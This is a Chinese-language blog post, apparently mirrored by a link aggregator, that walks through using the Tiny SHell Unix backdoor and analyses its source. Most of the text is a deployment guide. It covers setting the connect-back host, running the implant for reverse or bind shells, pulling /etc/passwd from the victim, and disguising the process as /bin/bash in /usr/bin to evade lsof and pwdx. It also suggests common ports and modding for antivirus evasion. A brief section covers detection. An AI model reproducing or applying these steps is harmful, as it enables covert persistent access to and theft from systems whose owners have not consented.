1

Unix后门Tiny SHell工具浅析

 1 year ago
source link: https://www.mi1k7ea.com/2021/09/27/Unix%E5%90%8E%E9%97%A8Tiny-SHell%E5%B7%A5%E5%85%B7%E6%B5%85%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 TSH简介

Tiny SHell即TSH是Orange于8年前开发的一款开源的UNIX后门工具,由C编写,体积Tiny。

支持功能:

  • 正向/反向连接模式;
  • 文件传输;
  • 加密通信;

地址:https://github.com/orangetw/tsh

0x01 工具使用

git clone https://github.com/orangetw/tsh.git

修改tsh.h文件,主要修改密钥和控制端地址(如果使用反向连接):

#ifndef _TSH_H
#define _TSH_H

char *secret = "replace with your password";

#define SERVER_PORT 7586
#define FAKE_PROC_NAME "/bin/bash"

#define CONNECT_BACK_HOST "localhost"
#define CONNECT_BACK_DELAY 30

#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */

参数说明:

  • secret:用于加密控制端和被控端之间通信的数据,这里所有通信都经过AES加密处理,密钥的长度任意(最好大于12,更安全);
  • SERVER_PORT:服务端监听端口号;
  • FAKE_PROC_NAME:用于伪装显示后门运行后的进程名字(用ps -ef或者netstat查看显示的进程名字);
  • CONNECT_BACK_HOST:控制端地址;
  • CONNECT_BACK_DELAY:连接延时,默认延时单位为秒;

编译,参数从linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf中选择,我本地环境为linux:

make linux

编译完成后,在当前目录中会生成tsh和tshd两个文件。

前提准备是在编译前将tsh.h文件中的CONNECT_BACK_HOST设置为反向连接的控制端地址后再进行编译操作:

#define CONNECT_BACK_HOST  "控制端地址"
#define CONNECT_BACK_DELAY 30

在控制端运行tsh程序开启监听:

chmod u+x tsh
./tsh cb

在被控制端运行tshd即可定时反弹shell:

chmod u+x tshd
./tshd
1.png

在编译前注释掉tsh.h文件中关于反向连接的两个设置:

//#define CONNECT_BACK_HOST  "控制端地址"
//#define CONNECT_BACK_DELAY 30

先在被控制端运行tshd:

chmod u+x tshd
./tshd

然后在控制端运行tsh程序发起正向连接:

chmod u+x tsh
./tsh 被控制端IP

3.png

正向连接下载文件:

./tsh 被控制端IP get /etc/passwd ./
10.png

上传文件改为put即可:

./tsh 被控制端IP put aaa.sh /tmp

前面的默认操作隐蔽性弱、容易被用户发现,比如不修改程序名直接运行的话通过lsof命令还是能看到原程序名的:

4.png

修改下名称:

mv tshd bash
5.png

看到还是有个缺点,就是通过pwdx命令查看程序所在路径会有所暴露,因此可以进一步移动到可执行程序常在的目录中伪装,一般系统的bash位于/bin/bash/usr/bin/bash,笔者的环境/usr/bin下没有bash就放到这里了,其他如/usr/sbin目录也可以:

6.png

但是遇到个问题,放到目录下无法正常正向连接。参考这篇文章说的,在tsh.c中看到是执行bash --login命令的,但是该bash程序并没有指定执行的路径,依靠目标环境变量PATH的值设置的路径来逐个寻找:

7.png

而测试的目标主机PATH环境变量为PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin,即/usr/bin在正常bash目录/bin的前面,导致没有执行到正常的bash。因此修改下其中的bash为绝对路径的bash即可:

8.png

重新编译上传运行,就OK了:

9.png

看到ps -ef命令的结果,其中-bash是正常的bash进程,而12611和12613都是后门守护进程、其伪装成/bin/bash,12614为后门守护进程执行系统命令exec /bin/bash --login反弹的shell进程。

除此之外,连接的端口号也需要改为常用的端口以便于隐藏。

0x02 后门清理

以反连为例,查看异常bash连接端口、进程ID等,如果攻击者没有修改程序名且没有魔改直接编译使用的话,可以通过对比看/proc/pid/comm的真实进程名来查杀即可:

2.png

正连类似的,用lsof命令也能直接分析出来。

至于修改程序名或魔改后的后门程序,可自行根据实际情况分析,这里没有细究。

0x03 原理浅析

tsh代码简洁,这里仅看看它服务端即tshd的关键部分。

执行后门tshd后,先是重写cmdline为用户设置的伪装进程名(默认为/bin/bash),然后主进程会fork一个子进程1,父进程退出,该子进程1则成为孤儿进程被init托管:

/* overwrite cmdline */
memset((void *)argv[0], '\0', strlen(argv[0]));
strcpy(argv[0], FAKE_PROC_NAME);

/* fork into background */

pid = fork();

if( pid < 0 )
{
return( 1 );
}

if( pid != 0 )
{
return( 0 );
}

在后面的循环处理中,当子进程1成功连接上控制端监听的端口之后,会又fork一个子进程2用于处理建立好的连接,而该子进程2的父进程即子进程1会等待子进程2执行完再继续往下执行:

/* fork a child to handle the connection */

pid = fork();

if( pid < 0 )
{
close( client );
continue;
}

if( pid != 0 )
{
waitpid( pid, NULL, 0 );
close( client );
continue;
}

子进程2接着会fork一个子进程3,然后子进程2退出,从而使得子进程3脱离了其祖父进程即子进程1成为孤儿进程、被init托管、成为守护进程,子进程3中开始真正进行交互shell/文件传输操作:

/* the child forks and then exits so that the grand-child's
* father becomes init (this to avoid becoming a zombie) */

pid = fork();

if( pid < 0 )
{
return( 8 );
}

if( pid != 0 )
{
return( 9 );
}

/* setup the packet encryption layer */
...

/* get the action requested by the client */
...

/* howdy */

switch( message[0] )
{
case GET_FILE:

ret = tshd_get_file( client );
break;

case PUT_FILE:

ret = tshd_put_file( client );
break;

case RUNSHELL:

ret = tshd_runshell( client );
break;

default:

ret = 12;
break;
}

shutdown( client, 2 );
return( ret );

而在后面调用tshd_runshell()函数中,其中会再次fork子进程4来专门进行新建会话来反弹shell,而子进程4的父进程即子进程3则进行信息的接受和发送:

    /* fork to spawn a shell */

pid = fork();
if( pid < 0 )
{
return( 43 );
}

if( pid == 0 )
{
/* close the client socket and the pty (master side) */
close( client );
close( pty );

/* create a new session */
if( setsid() < 0 )
{
return( 44 );
}

/* set controlling tty, to have job control */

#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
{
return( 45 );
}
#else
#if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX
{
int fd;
fd = open( slave, O_RDWR );
if( fd < 0 )
{
return( 46 );
}
close( tty );
tty = fd;
}
#endif
#endif

/* tty becomes stdin, stdout, stderr */
dup2( tty, 0 );
dup2( tty, 1 );
dup2( tty, 2 );

if( tty > 2 )
{
close( tty );
}

/* fire up the shell */
shell = (char *) malloc( 8 );
if( shell == NULL )
{
return( 47 );
}
shell[0] = '/'; shell[4] = '/';
shell[1] = 'b'; shell[5] = 's';
shell[2] = 'i'; shell[6] = 'h';
shell[3] = 'n'; shell[7] = '\0';
execl( shell, shell + 5, "-c", temp, (char *) 0 );

/* d0h, this shouldn't happen */

return( 48 );
}
else
{
/* tty (slave side) not needed anymore */
close( tty );

/* let's forward the data back and forth */
while( 1 )
{
FD_ZERO( &rd );
FD_SET( client, &rd );
FD_SET( pty, &rd );
n = ( pty > client ) ? pty : client;
if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
{
return( 49 );
}

if( FD_ISSET( client, &rd ) )
{
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 50 );
}
if( write( pty, message, len ) != len )
{
return( 51 );
}
}

if( FD_ISSET( pty, &rd ) )
{
len = read( pty, message, BUFSIZE );
if( len == 0 ) break;
if( len < 0 )
{
return( 52 );
}
ret = pel_send_msg( client, message, len );
if( ret != PEL_SUCCESS )
{
return( 53 );
}
}
}

return( 54 );
}

小结下来,大致如下:

father -> X
-> child1
|
----
|
init -> child1 -> # waitpid(child2)
-> child2 -> X
-> child3
|
---------------------
|
init -> child3 -> # send & receive message
-> child4 # reverse shell

当然,可以自行魔改实现更高的隐蔽性和更强的免杀。

0x04 参考

短小精干的Unix类后门Tiny shell的使用与分析


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK